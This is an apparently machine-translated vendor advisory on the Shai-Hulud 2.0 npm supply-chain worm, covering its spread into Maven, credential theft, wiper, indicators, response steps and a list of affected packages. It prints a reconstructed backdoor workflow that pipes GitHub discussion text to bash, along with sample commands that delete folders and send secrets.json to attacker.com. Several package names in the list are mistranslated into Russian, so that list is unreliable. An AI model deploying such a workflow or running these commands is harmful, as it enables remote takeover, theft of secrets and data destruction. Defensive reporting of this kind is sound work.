Шай Хулуд - атака на цепочку поставок npm

Атака на цепочку поставок NPM в Шаи-Хулуд 2.0

TL, д-р

24 ноября 2025 года исследователи обнаружили Шай Хулуд: Второе пришествие, новая волна Атака на цепочку поставок NPM который повторно заражает пакеты npm, крадет учетные данные и распространяется по машинам разработчиков и CI/CD pipelines. В отличие от первого инцидента, эта версия устанавливает среду выполнения Bun «на лету», разворачивает скрытые бэкдоры GitHub Actions и включает разрушительный вайпер, способный стирать целые домашние каталоги в Linux, macOS и Windows. В течение нескольких часов количество скомпрометированных пакетов превысило 830, что подтверждает, что это не просто вариант, а серьёзная эскалация оригинальный червь.

Влияние: любой разработчик или CI-менеджер, устанавливающий публичные пакеты npm, мог быть подвержен риску. Команды разработчиков Java также подвергаются риску после того, как зараженные пакеты были автоматически зеркалированы в Maven Central.

Немедленные действия: блокировать известные вредоносные версии, обеспечивать установку только с помощью lockfile, ротировать учетные данные npm, GitHub и облака, удалять неизвестные локальные исполнители и отслеживать такие индикаторы компрометации, как setup_bun.js, bun_environment.js и подозрительные репозитории GitHub, содержащие «Sha1-Hulud: The Second Coming».

Что изменилось: Шай Хулуд в атаке на цепочку поставок NPM после перехода на Maven

Вторая волна атаки на Шаи-Хулуд привела к серьёзной эскалации. В ходе первой кампании червь оставался внутри экосистемы npm. На этот раз вредоносное ПО проникло в Мейвен Сентрал, разоблачая команды Java, которые никогда не прикасались к npm.

Временная шкала и окно токенов

Атака началась 24 ноября 2025, прямо перед тем, как npm прекратил поддержку своих старых токенов аутентификации Декабрь 9.
Эти старые токены было проще украсть и использовать повторно. Поскольку злоумышленники всё ещё имели к ним доступ в течение этого периода, они смогли быстро опубликовать сотни вредоносных версий до истечения срока действия.

Как вредоносное ПО попало в Maven

Межрегистровой скачок произошел из-за mvnpm, автоматизированный инструмент зеркалирования, который преобразует пакеты npm в артефакты Maven.

mvnpm не выполняет проверки безопасности. Он просто переупаковывает всё, что публикует npm.

В результате:

  • Скомпрометированный пакет npm (например posthog-node@4.18.1)
  • Был автоматически преобразован в артефакт Maven.
    org.mvnpm:posthog-node:4.18.1
  • И опубликовал в Maven Central прежде, чем кто-либо понял, что он заражен.

Это означает, Разработчики Java стали жертвами взлома npm, даже если они никогда не устанавливали пакет npm.

Почему это важно

Это первый известный межреестровый червь, где атака на цепочку поставок распространяется от одной экосистемы к другой исключительно посредством автоматизации.
Благодаря этому радиус поражения теперь включает рабочие нагрузки Java, JVM и enterprise создавать системы, использующие Maven Central.

Что делает Shai Hulud 2.0 таким серьезным

 Bun Runtime используется для уклонения от обнаружения

Злоумышленники перешли с Node.js на среду выполнения Bun. Вредоносное ПО устанавливает Bun «на лету» через setup_bun.js во время установки пакета. Это позволяет избежать мониторинга, специфичного для Node, и позволяет злоумышленникам быстрее выполнить очень большую обфусцированную полезную нагрузку.

Действия GitHub, используемые в качестве бэкдора команд

После установки вредоносная программа создает скрытый самостоятельный исполнитель GitHub Actions в  $HOME/.dev-env/. Это работает в Windows, macOS и Linux. Злоумышленники могут выполнять команды, просто публикуя сообщения в обсуждениях GitHub на скомпрометированном репозитории. Файл рабочего процесса обрабатывает эти сообщения и выполняет их как команды оболочки.

Встроенный стеклоочиститель

Если вредоносная программа не может пройти аутентификацию на GitHub или npm, она стирает домашний каталог жертвы.

  • В Windows он использует из, rd и шифр /W для стирания файлов.
  • В Linux и macOS он перезаписывает данные кромсать а затем удаляет каталоги.

Очень шумная кампания

Хотя вредоносная программа использует определённую скрытность (например, используя Bun), её деятельность в целом нельзя назвать тихой. Она агрессивно переиздаёт скомпрометированные пакеты, создаёт сотни или тысячи новых репозиториев, массово загружает дампы учётных данных и устанавливает долгоживущие локальные исполняющие модули на машины разработчиков. Всё это не является чем-то незаметным. Масштаб, скорость и «громкость» этой атаки выделяются на фоне большинства атак на цепочки поставок, которые, как правило, стремятся оставаться незамеченными как можно дольше..

Широкое воздействие

Злоумышленники скомпрометировали множество известных пакетов с миллионами ежемесячных загрузок, в том числе:
Zapier, ENS Domains, Postman, PostHog, AsyncAPI и Voiceflow.

Возможные сигналы атрибуции

Атрибуция здесь затруднена, и подтверждённого источника этой кампании нет. Крупная компания, занимающаяся безопасностью, отмечает, что операция напоминает более ранний червь Shai-Hulud, но различия в структуре полезной нагрузки и способах распространения вредоносного ПО указывают на возможность использования другой группы операторов. Их оценка подчёркивает, что несколько сред загружали скомпрометированные пакеты, прежде чем npm удалил их, что говорит о реальном воздействии, а не о кратковременном тестировании.

Учитывая, что тактика атаки напоминает первую волну, но отличается в ключевых моментах, особенно в структуре полезной нагрузки, логике распространения и стиле действий, сценарий копирования вполне вероятен. Злоумышленники могли заимствовать идеи из «Шаи-Хулуда», но внедрить собственный инструментарий. Это может быть другая группа, пытающаяся полностью имитировать предыдущую кампанию.

На данный момент нет убедительных доказательств его причастности к какому-либо известному субъекту, финансово мотивированной группе или государственной организации. Совпадение с исходным червем действительно существует, но различия достаточно существенны, чтобы оставить атрибуцию в категории «неподтверждённых».

Распространение в Maven

Крупная компания по безопасности подтвердила, что вредоносные пакеты npm были автоматически переизданы в Maven через mvnpm, инструмент, который преобразует пакеты npm в артефакты Maven без ручной проверки.

Следующий пакет был отправлен в Maven Central: org.mvnpm:posthog-node:4.18.1

Поскольку mvnpm просто переупаковывает все, что публикует npm, зараженные версии были отражены в экосистеме Java еще до того, как кто-либо это осознал.

Maven Central удалил затронутые артефакты 25 ноября 2025 года и начал ужесточать контроль для предотвращения подобных проблем между реестрами.

Это означает, что проекты Java, не имеющие прямого подключения к npm, все равно могли быть уязвимы.

Как работает атака Шай Хулуд 2.0

Поток инфекции

  • злонамеренный предустановка скрипт добавлен в пакет.json.
  • setup_bun.js устанавливает Bun на компьютер жертвы, если он отсутствует.
  • bun_environment.js (более 480 тыс. строк запутанного кода) работает в фоновом режиме.
  • Вредоносная программа сканирует учетные данные, используя методы, похожие на TruffleHog. Она ищет
    • Ключи AWS, GCP и Azure
    • Токены GitHub
    • токены npm
    • Секреты системы CI
  • Украденные данные загружаются в публичные репозитории GitHub, имеющие описание «Sha1-Hulud: The Second Coming».
  • Используя захваченные токены, вредоносное ПО публикует скомпрометированные версии пакетов, заражает доступные репозитории GitHub и устанавливает постоянные собственные исполняющие модули для удаленного выполнения кода.

Вредоносные рабочие процессы GitHub

Во время второй волны атаки на цепочку поставок НПМ Шаи-Хулуд вредоносное ПО, созданное два скрытых рабочих процесса GitHub Actions внутри скомпрометированных репозиториев. Эти рабочие процессы обеспечивают злоумышленникам удалённое выполнение кода, долгосрочное сохранение данных и полный доступ к системным секретам.

1. Рабочий процесс бэкдора (discussion.yaml)

Самый опасный рабочий процесс слушает Обсуждения на GitHub События. При создании или редактировании сообщения для обсуждения рабочий процесс считывает текст сообщения и выполняет его как команда оболочки на машине жертвы.

Ниже представлена ​​упрощенная версия вредоносного рабочего процесса, реконструированная на основе наблюдаемых образцов:

# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

Критическая линия:

${{ github.event.discussion.body }}

Это означает, что злоумышленник может опубликовать любую команду в обсуждении GitHub, и локальный исполнитель немедленно её выполнит. Поскольку локальные исполнители часто имеют доступ к внутренним сетям, облачным учётным данным и секретам CI, этот бэкдор позволяет злоумышленнику полностью удалённо выполнить код во время атаки на цепочку поставок NPM в Шаи-Хулуд.

Эксплуатация инъекции команд

Этот рабочий процесс использует не по назначению способ обработки выражений в GitHub Actions. Вместо того, чтобы ограничивать входные данные безопасными строками, он считывает необработанный контент обсуждения и передаёт его непосредственно в оболочку. В результате злоумышленнику достаточно опубликовать сообщение следующего вида:

rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

Поскольку подобное поведение неоднократно наблюдалось во время атаки на цепочку поставок NPM в Шаи-Хулуд, это стало одним из самых явных сигналов того, что вредоносная программа использовала действия GitHub в качестве канала удаленных команд.

Бегуны, принимающие гостей самостоятельно, усугубляют ситуацию, потому что они:

  • работать внутри корпоративных сетей
  • удерживайте облако или CI/CD Полномочия
  • выполнить с разрешениями пользователя
  • не имеют песочницы или изоляции GitHub

Это дает злоумышленникам постоянный канал управления внутренними средами.

Рабочий процесс сбора секретов и систем

Помимо бэкдора, вредоносная программа запускает еще один рабочий процесс, целью которого является сбор и хранение конфиденциальных данных из зараженной системы.
Эти рабочие процессы собирают:

  • облачные учетные данные
  • переменные среды
  • списки каталогов
  • Секретные сканирования в стиле TruffleHog

Собранные данные они хранят в таких файлах, как:

  • облако.json
  • среда.json
  • content.json
  • truffleSecrets.json

Затем эти файлы загружаются в контролируемые злоумышленниками репозитории GitHub с меткой «Ша1-Хулуд: Второе пришествие», где были обнаружены сотни и тысячи свалок.

Показатели компромисса

Файл SHA256
setup_bun.js a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

Другие красные флажки

  • .github/workflows/discussion.yaml
  • $HOME/.dev-env/ содержащий неожиданных бегунов
  • Публичные репозитории GitHub, созданные в вашей учетной записи и содержащие «Sha1-Hulud: The Second Coming»

Обновленные показатели (по состоянию на 26 ноября 2025 г.)

Метрика Количество
пакеты npm скомпрометированы 830+
Зараженные репозитории GitHub 28,000+
Секретные файлы загружены 5,000+
Всего собрано секретов 11,858
Действительные секреты 2,298

Что делать сейчас: реагирование на атаку на цепочку поставок НПМ «Шай Хулуд»

Атака на цепочку поставок NPM в Шаи-Хулуд требует быстрого и структурированного реагирования. Поскольку эта вторая волна распространяется по npm, GitHub, компьютерам разработчиков и даже Maven Central, командам следует быстро обнаружить, локализовать и полностью устранить любые угрозы. Приведенные ниже шаги помогут вам отреагировать в правильном порядке и снизить риск дальнейших атак.

обнаружение

  • Найдите на GitHub репозитории с описанием «Sha1-Hulud: The Second Coming».
  • Просматривайте журналы установки Bun во время установки пакетов.
  • Проверьте файлы package.json на наличие неожиданных сценариев жизненного цикла, особенно предустановка.
  • Проверьте $HOME/.dev-env/ в системах разработчика или CI.
  • Проверьте журналы публикаций GitHub и npm на наличие подозрительных релизов.

Политика сдерживания

  • Ротация всех учетных данных: GitHub, npm, облако, секреты CI, ключи API.
  • Отключите и удалите неизвестные локальные исполнители.
  • Временно заблокируйте создание репозитория.
  • Удалите зараженные версии из вашего графика зависимостей.

Санация

  • Очистите затронутые системы.
  • Просмотрите все рабочие процессы GitHub Actions для внедренных файлов.
  • Проверьте журналы CI на наличие необычных команд или запусков.

Пересобрать из заведомо исправных версий пакета.

Как Xygeni помогает остановить атаки, подобные Второму пришествию Шаи-Хулуда

После столь агрессивной кампании, как «Второе пришествие Шаи-Хулуда», командам нужно больше, чем просто ручные проверки. Им нужна автоматизированная защита, блокирующая вредоносное ПО до того, как оно попадёт к разработчикам, исполнителям непрерывной интеграции или в производственные системы. Именно здесь Xygeni даёт серьёзное преимущество.

Раннее предупреждение о вредоносных программах (MEW): обнаружение угроз до их распространения

 Механизм раннего оповещения Xygeni сканирует новые и обновлённые пакеты с открытым исходным кодом в режиме реального времени. Он отмечает подозрительное поведение, такое как:

  • Запутанный JavaScript или массивный пакетный код
  • Скрипты жизненного цикла, которые устанавливают внешние среды выполнения, такие как Bun
  • Неожиданные подключения к конечным точкам GitHub, npm или облака
  • Пипетки, которые пишут в $HOME, .dev-env/ или папки рабочего процесса

MEW обнаружил закономерности, использовавшиеся в обеих волнах Шаи-Хулуда, что помогает командам реагировать до того, как злоумышленники распространят инфекцию дальше.

Guardrails in CI/CD блокировать вредоносные пакеты

Xygeni обеспечивает соблюдение guardrails которые автоматически останавливают небезопасные операции:

  • CI pipelines не может устанавливать пакеты со скрытыми предустановочными или постустановочными скриптами
  • Сборки терпят неудачу, когда пакет пытается создать такие рабочие процессы, как .github/workflows/discussion.yaml
  • Pipelines отклонять зависимости, опубликованные из ненадежных источников или впервые обнаруженных учетных записей

Это значительно сокращает поверхность атаки и предотвращает запуск вредоносного ПО внутри заданий непрерывной интеграции.

Защита секретов уменьшает радиус взрыва

Поскольку Шай-Хулуд крадет облачные ключи, токены GitHub, токены npm и секреты непрерывной интеграции, защита должна быть направлена ​​и на учётные данные. Xygeni:

  • Обнаруживает раскрытые секреты внутри кода, журналов, рабочих процессов и файлов среды
  • Автоматически меняет учетные данные с высоким уровнем риска
  • Обеспечивает краткосрочные токены для ограничения долгосрочных компрометаций

Даже если злоумышленник получит первоначальный доступ, украденные ключи быстро станут бесполезными.

Заключительные замечания: почему атака на цепочку поставок НПМ «Шай-Хулуд» всё ещё имеет значение

Второе пришествие Шаи-Хулуда инцидент показывает, как легко современный Атака на цепочку поставок NPM Может перемещаться между экосистемами. В данном случае вредоносное ПО перешло из npm в Maven благодаря инструментам автоматического зеркалирования, таким как mvnpm Переопубликовали скомпрометированные пакеты без проверки. В результате команды Java-разработчиков оказались уязвимы, даже если никогда не использовали npm напрямую. Это ясно показывает, что межреестровые рабочие процессы требуют немедленного анализа и усиления мер безопасности.

Более того, масштаб и характер этой кампании раскрывают, как злоумышленники действуют сегодня. Вместо того чтобы оставаться незамеченными, они публикуют сотни пакетов одновременно, развертывают скрытые GitHub-раннеры, массово крадут секретные данные и даже используют разрушительный вайпер в случае сбоя. Следовательно, ручные проверки не поспевают за таким уровнем автоматизации и скорости. Командам необходима непрерывная защита в режиме реального времени на уровне пакета, исходного кода и pipeline слои.

Почему непрерывный Pipeline Security Теперь это необходимо

Атаки типа Второе пришествие Шаи-Хулуда будет продолжать развиваться. Поэтому для предотвращения следующей волны необходимы автоматические внутренние механизмы контроля. CI/CD, а не после компрометации. Современная защита должна сочетать раннее обнаружение вредоносных программ, строгую проверку зависимостей, применение политик и защиту секретов, чтобы вредоносный код не мог незаметно перемещаться по средам разработки.

Xygeni поддерживает этот переход, предоставляя автоматизированные guardrails по всей цепочке поставок программного обеспечения. Система выявляет подозрительные пакеты перед установкой, обеспечивает использование безопасных версий зависимостей, блокирует небезопасные рабочие процессы, обнаруживает раскрытые секреты и оповещает о необычных ситуациях. pipeline В результате команды остаются защищенными даже при быстром распространении атак на цепочки поставок, выходящих за пределы экосистемы.

Список скомпрометированных пакетов

Информацию о затронутых пакетах можно также получить, используя #shai-hulud / #shai-hulud-second-coming тег внутри OpenSourceMalware.com

 
Упаковка Версия
02-эхо0.0.7
@accordproject/concerto-analysis3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-metamodel3.12.5
@accordproject/concerto-types3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/native0.1.32
@actbase/node-server1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-postcode1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io0.0.7 , 0.0.8
@alexcolls/nuxt-ux0.6.2 , 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-template1.0.2 , 1.0.1
@asyncapi/edavisualiser1.2.2 , 1.2.1
@asyncapi/go-watermill-template0.2.76 , 0.2.77
@asyncapi/java-template0.3.6 , 0.3.5
@asyncapi/keeper0.0.3 , 0.0.2
@asyncapi/php-template0.1.2 , 0.1.1
@asyncapi/python-paho-template0.2.15 , 0.2.14
@asyncapi/server-api0.16.25 , 0.16.24
@asyncapi/studio1.0.3 , 1.0.2
@asyncapi/web-component2.6.7 , 2.6.6
@browserbasehq/bb91.2.21
@browserbasehq/director-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-server-browserbase2.4.2
@browserbasehq/sdk-functions0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@commute/bloom1.0.3
@commute/market-data1.0.2
@commute/market-data-chartjs2.3.1
@dev-blinq/ai-qa-logic1.0.19
@dev-blinq/cucumber-js1.0.131
@dev-blinq/cucumber_client1.0.738
@dev-blinq/ui-systems1.0.93
@ensdomains/address-encoder1.1.5
@ensdomains/blacklist1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/ens-avatar1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/хакатон-регистратор1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/name-wrapper1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-address0.0.32
@ensdomains/renewal0.0.13
@ensdomains/renewal-widget0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/subdomain-registrar0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts2.0.1 , 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4 , 1.4.5
@everreal/web-analytics0.0.1 , 0.0.2
@faq-component/core0.0.4
@faq-component/react1.0.1
@fishingbooker/browser-sync-plugin1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-pagination2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@hover-design/core0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/design-system4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-announcement0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
@lessondesk/api-client9.12.3 , 9.12.2
@lessondesk/babel-preset1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@lessondesk/schoolbus5.2.2 , 5.2.3
@livecms/live-edit0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/core1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service1.0.1
@markvivanco/app-version-checker1.0.2 , 1.0.1
@ntnx/passport-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/error-handler1.2.2
@posthog/agent1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/core1.5.6
@posthog/hedgehog-mode0.0.42
@posthog/icons0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscina3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/wizard1.18.1
@postman/aether-icons2.23.4 , 2.23.3 , 2.23.2
@postman/csv-parse4.0.5 , 4.0.3 , 4.0.4
@postman/node-keytar7.9.6 , 7.9.4 , 7.9.5
@postman/tunnel-agent0.6.7 , 0.6.6 , 0.6.5
@pradhumngautam/common-app1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-translator1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/sdr-mcp-server0.0.5
@seung-ju/next0.0.2
@seung-ju/openapi-generator0.0.4
@seung-ju/react-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/medium-common1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3 , 2.0.2
@tiaanduplessis/react-progressbar1.0.2 , 1.0.1
@trefox/sleekshop-js0.1.6
@trigo/atrix7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/bool-expressions4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-rate-limiter/hono0.1.4
@varsityvibe/api-client1.3.36 , 1.3.37
@varsityvibe/utils5.0.6
@varsityvibe/validation-schemas0.6.7 , 0.6.8
@vishadtyagi/календарь на полный год0.1.11
@voiceflow/alexa-types2.15.60 , 2.15.61
@voiceflow/anthropic0.4.4 , 0.4.5
@voiceflow/api-sdk3.28.58 , 3.28.59
@voiceflow/backend-utils5.0.2 , 5.0.1
@voiceflow/base-types2.136.3 , 2.136.2
@voiceflow/body-parser1.21.2 , 1.21.3
@voiceflow/chat-types2.14.59 , 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1 , 0.2.2
@voiceflow/commitlint-config2.6.2 , 2.6.1
@voiceflow/common8.9.1 , 8.9.2
@voiceflow/default-prompt-wrappers1.7.4 , 1.7.3
@voiceflow/dependency-cruiser-config1.8.12 , 1.8.11
@voiceflow/dtos-interact1.40.2 , 1.40.1
@voiceflow/encryption0.3.3 , 0.3.2
@voiceflow/eslint-config7.16.4 , 7.16.5
@voiceflow/eslint-plugin1.6.2 , 1.6.1
@voiceflow/исключение1.10.2 , 1.10.1
@voiceflow/fetch1.11.1 , 1.11.2
@voiceflow/general-types3.2.23 , 3.2.22
@voiceflow/git-branch-check1.4.4 , 1.4.3
@voiceflow/google-dfes-types2.17.12 , 2.17.13
@voiceflow/google-types2.21.12 , 2.21.13
@voiceflow/husky-config1.3.1 , 1.3.2
@voiceflow/logger2.4.3 , 2.4.2
@voiceflow/metrics1.5.2 , 1.5.1
@voiceflow/natural-language-commander0.5.2 , 0.5.3
@voiceflow/nestjs-common2.75.2 , 2.75.3
@voiceflow/nestjs-mongodb1.3.1 , 1.3.2
@voiceflow/nestjs-rate-limit1.3.3 , 1.3.2
@voiceflow/nestjs-redis1.3.1 , 1.3.2
@voiceflow/nestjs-timeout1.3.1 , 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1 , 1.1.2
@voiceflow/openai3.2.2 , 3.2.3
@voiceflow/pino6.11.4 , 6.11.3
@voiceflow/pino-pretty4.4.2 , 4.4.1
@voiceflow/prettier-config1.10.2 , 1.10.1
@voiceflow/react-chat1.65.4 , 1.65.3
@voiceflow/runtime1.29.1 , 1.29.2
@voiceflow/runtime-client-js1.17.3 , 1.17.2
@voiceflow/sdk-runtime1.43.2 , 1.43.1
@voiceflow/secrets-provider1.9.3 , 1.9.2
@voiceflow/semantic-release-config1.4.2 , 1.4.1
@voiceflow/serverless-plugin-typescript2.1.7 , 2.1.8
@voiceflow/slate-serializer1.7.4 , 1.7.3
@voiceflow/stitches-react2.3.3 , 2.3.2
@voiceflow/storybook-config1.2.2 , 1.2.3
@voiceflow/stylelint-config1.1.1 , 1.1.2
@voiceflow/test-common2.1.1 , 2.1.2
@voiceflow/tsconfig1.12.2 , 1.12.1
@voiceflow/tsconfig-paths1.1.5 , 1.1.4
@voiceflow/utils-designer1.74.19 , 1.74.20
@voiceflow/verror1.1.5 , 1.1.4
@voiceflow/vite-config2.6.2 , 2.6.3
@voiceflow/vitest-config1.10.3 , 1.10.2
@voiceflow/voice-types2.10.59 , 2.10.58
@voiceflow/voiceflow-types3.32.45 , 3.32.46
@voiceflow/widget1.7.18 , 1.7.19
@zapier/ai-actions0.1.20 , 0.1.19 , 0.1.18
@zapier/babel-preset-zapier6.4.2 , 6.4.1 , 6.4.3
@zapier/browserslist-config-zapier1.0.4 , 1.0.3 , 1.0.5
@zapier/secret-scrubber1.1.5 , 1.1.4 , 1.1.3
ай-кроул-щит1.0.7
arc-cli-fc1.0.1
asyncapi-preview1.0.2 , 1.0.1
атрикс1.0.1
модель_автоматизации1.0.491
axios-builder1.2.1
axios-отменяемый1.0.2 , 1.0.1
axios-timed1.0.2 , 1.0.1
barebones-css1.1.4 , 1.1.3
benmostyn-frame-print1.0.1
лучшийGPIOконтроллер1.0.10
двунаправленный адаптер1.2.2 , 1.2.4 , 1.2.5 , 1.2.3
blinqio-executions-cli1.0.41
blob-to-base641.0.3
bun-plugin-httpfile0.1.1
bytecode-checker-cli1.0.11 , 1.0.8 , 1.0.9 , 1.0.10
байты-в-x1.0.1
расчет-проценты по кредиту1.0.4
конденсатор-плагин-apptrackingios0.0.21
покупка-плагина-конденсатора0.1.1
capacitor-plugin-scgssigninwithgoogle0.0.5
история покупки конденсаторов0.0.10
конденсаторный диктофон wav6.0.3
chrome-extension-downloads0.0.3 , 0.0.4
claude-token-updater1.0.3
coinmarketcap-api3.1.3 , 3.1.2
цвета-регулярное выражение2.0.1
command-irail0.5.4
сравнить-объект1.1.1 , 1.1.2
композитный редуктор1.0.4 , 1.0.3 , 1.0.2 , 1.0.5
обратный отсчет1.0.2 , 1.0.1
инструкции процессора0.0.14
создать-директор-приложение0.1.1
создать-glee-app0.2.3 , 0.2.2
создать-hardhat3-app1.1.4 , 1.1.3 , 1.1.1 , 1.1.2
крипто-адрес-кодек0.1.9
css-дедуп0.1.2
dashboard-пустое состояние1.0.3
designstudiouiux1.0.1
devstart-cli1.0.6
dialogflow-es1.1.4 , 1.1.3 , 1.1.1 , 1.1.2
сервер-бота-дискорда0.1.2
docusaurus-plugin-vanilla-extract1.0.3
не иди1.1.2
dotnet-шаблон0.0.3 , 0.0.4
drop-events-on-property-plugin0.0.2
тестер-доставляемости-электронной-почты1.1.1
обеспечить-имя-ветки1.1.3
esbuild-plugin-brotli0.2.1
esbuild-plugin-eta0.1.1
esbuild-plugin-httpfile0.4.1
eslint-config-nitpicky4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
ethereum-ens0.8.1
evm-checkcode-cli1.0.15 , 1.0.12 , 1.0.13 , 1.0.14
точный тикер0.3.5
expo-audio-session0.2.1
экспрессо1.1.3
с толстыми пальцами1.0.2 , 1.0.1
функция-переворот1.0.2 , 1.0.1
firestore-search-engine1.2.3
fittxt1.0.3 , 1.0.2
створки1.0.2 , 1.0.1
сглаживать-распрямлять1.0.2 , 1.0.1
formik-error-focus2.0.1
formik-store1.0.1
нечеткий искатель1.0.5 , 1.0.6
gate-evm-check-code22.0.3 , 2.0.4 , 2.0.5 , 2.0.6
gate-evm-tools-test1.0.7 , 1.0.8 , 1.0.5 , 1.0.6
gatsby-plugin-cname1.0.2 , 1.0.1
генератор-метеор-запас0.1.6
генератор-ng-itobuz0.0.15
получить-их-аргументы1.3.3
github-action-for-generator2.1.28 , 2.1.27
gitsafe1.0.5
go-шаблон0.1.8 , 0.1.9
gulp-inject-envs1.2.2 , 1.2.1
haufe-axera-api-client0.0.1 , 0.0.2
hope-mapboxdraw0.1.1
hopedraw1.0.3
hover-design-prototype0.0.5
httpness1.0.3 , 1.0.2
гипер-полный удар1.0.3
